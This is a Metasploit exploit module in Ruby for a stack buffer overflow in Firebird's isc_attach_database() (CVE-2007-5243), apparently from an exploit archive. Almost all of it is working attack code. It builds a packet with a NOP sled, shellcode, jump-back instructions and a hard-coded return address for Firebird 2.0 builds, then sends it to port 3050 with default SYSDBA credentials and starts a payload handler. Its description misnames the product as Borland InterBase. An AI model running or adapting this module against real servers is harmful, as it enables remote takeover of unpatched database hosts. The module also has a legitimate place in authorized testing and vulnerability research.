Firebird Relational Database isc_attach_database() Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::BruteTargets  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Firebird Relational Database isc_attach_database() Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Borland InterBase  
by sending a specially crafted create request.  
},  
'Version' => '$Revision$',  
'Author' =>  
[  
'ramon',  
'Adriano Lima <[email protected]>',  
],  
'Arch' => ARCH_X86,  
'Platform' => 'win',  
'References' =>  
[  
[ 'CVE', '2007-5243' ],  
[ 'OSVDB', '38607' ],  
[ 'BID', '25917' ],  
[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],  
],  
'Privileged' => true,  
'License' => MSF_LICENSE,  
'Payload' =>  
{  
'Space' => 512,  
'BadChars' => "\x00\x2f\x3a\x40\x5c",  
'StackAdjustment' => -3500,  
},  
'Targets' =>  
[  
[ 'Brute Force', { } ],  
# '\Device\HarddiskVolume1\WINDOWS\system32\unicode.nls'  
[  
'Firebird WI-V2.0.0.12748 WI-V2.0.1.12855 (unicode.nls)',  
{ 'Length' => [ 756 ], 'Ret' => 0x00370b0b }  
],  
# Debug  
[  
'Debug',  
{ 'Length' => [ 756 ], 'Ret' => 0xaabbccdd }  
],  
],  
'DefaultTarget' => 1  
))  
  
register_options(  
[  
Opt::RPORT(3050)  
],  
self.class  
)  
  
end  
  
  
  
# Create database parameter block  
def dpb_create  
isc_dpb_user_name = 28  
isc_dpb_password = 29  
  
isc_dpb_version1 = 1  
  
user = 'SYSDBA'  
pass = 'masterkey'  
  
dpb = ''  
  
dpb << [isc_dpb_version1].pack('c')  
  
dpb << [isc_dpb_user_name].pack('c')  
dpb << [user.length].pack('c')  
dpb << user  
  
dpb << [isc_dpb_password].pack('c')  
dpb << [pass.length].pack('c')  
dpb << pass  
  
dpb  
end  
  
# Calculate buffer padding  
def buf_padding(length = '')  
remainder = length.remainder(4)  
padding = 0  
  
if remainder > 0  
padding = (4 - remainder)  
end  
  
padding  
end  
  
def exploit_target(target)  
  
target['Length'].each do |length|  
  
connect  
  
# Attach database  
op_attach = 19  
  
# Extra padding to trigger the exception  
extra_padding = 1024 * 16  
  
buf = ''  
  
# Operation/packet type  
buf << [op_attach].pack('N')  
  
# Id  
buf << [0].pack('N')  
  
# Length  
buf << [length + extra_padding].pack('N')  
  
# Nop block  
buf << make_nops(length - payload.encoded.length - 13)  
  
# Payload  
buf << payload.encoded  
  
# Jump back into the nop block  
buf << "\xe9" + [-516].pack('V')  
  
# Jump back  
buf << "\xeb" + [-7].pack('c')  
  
# Random alpha data  
buf << rand_text_alpha(2)  
  
# Target  
buf << [target.ret].pack('V')  
  
# Random alpha data  
buf << rand_text_alpha(extra_padding)  
  
# Padding  
buf << "\x00" * buf_padding(length + extra_padding)  
  
# Database parameter block  
  
# Create database parameter block  
dpb = dpb_create  
  
# Database parameter block length  
buf << [dpb.length].pack('N')  
  
# Database parameter block  
buf << dpb  
  
# Padding  
buf << "\x00" * buf_padding(dpb.length)  
  
sock.put(buf)  
  
sleep(4)  
  
handler  
  
end  
  
end  
  
end  
`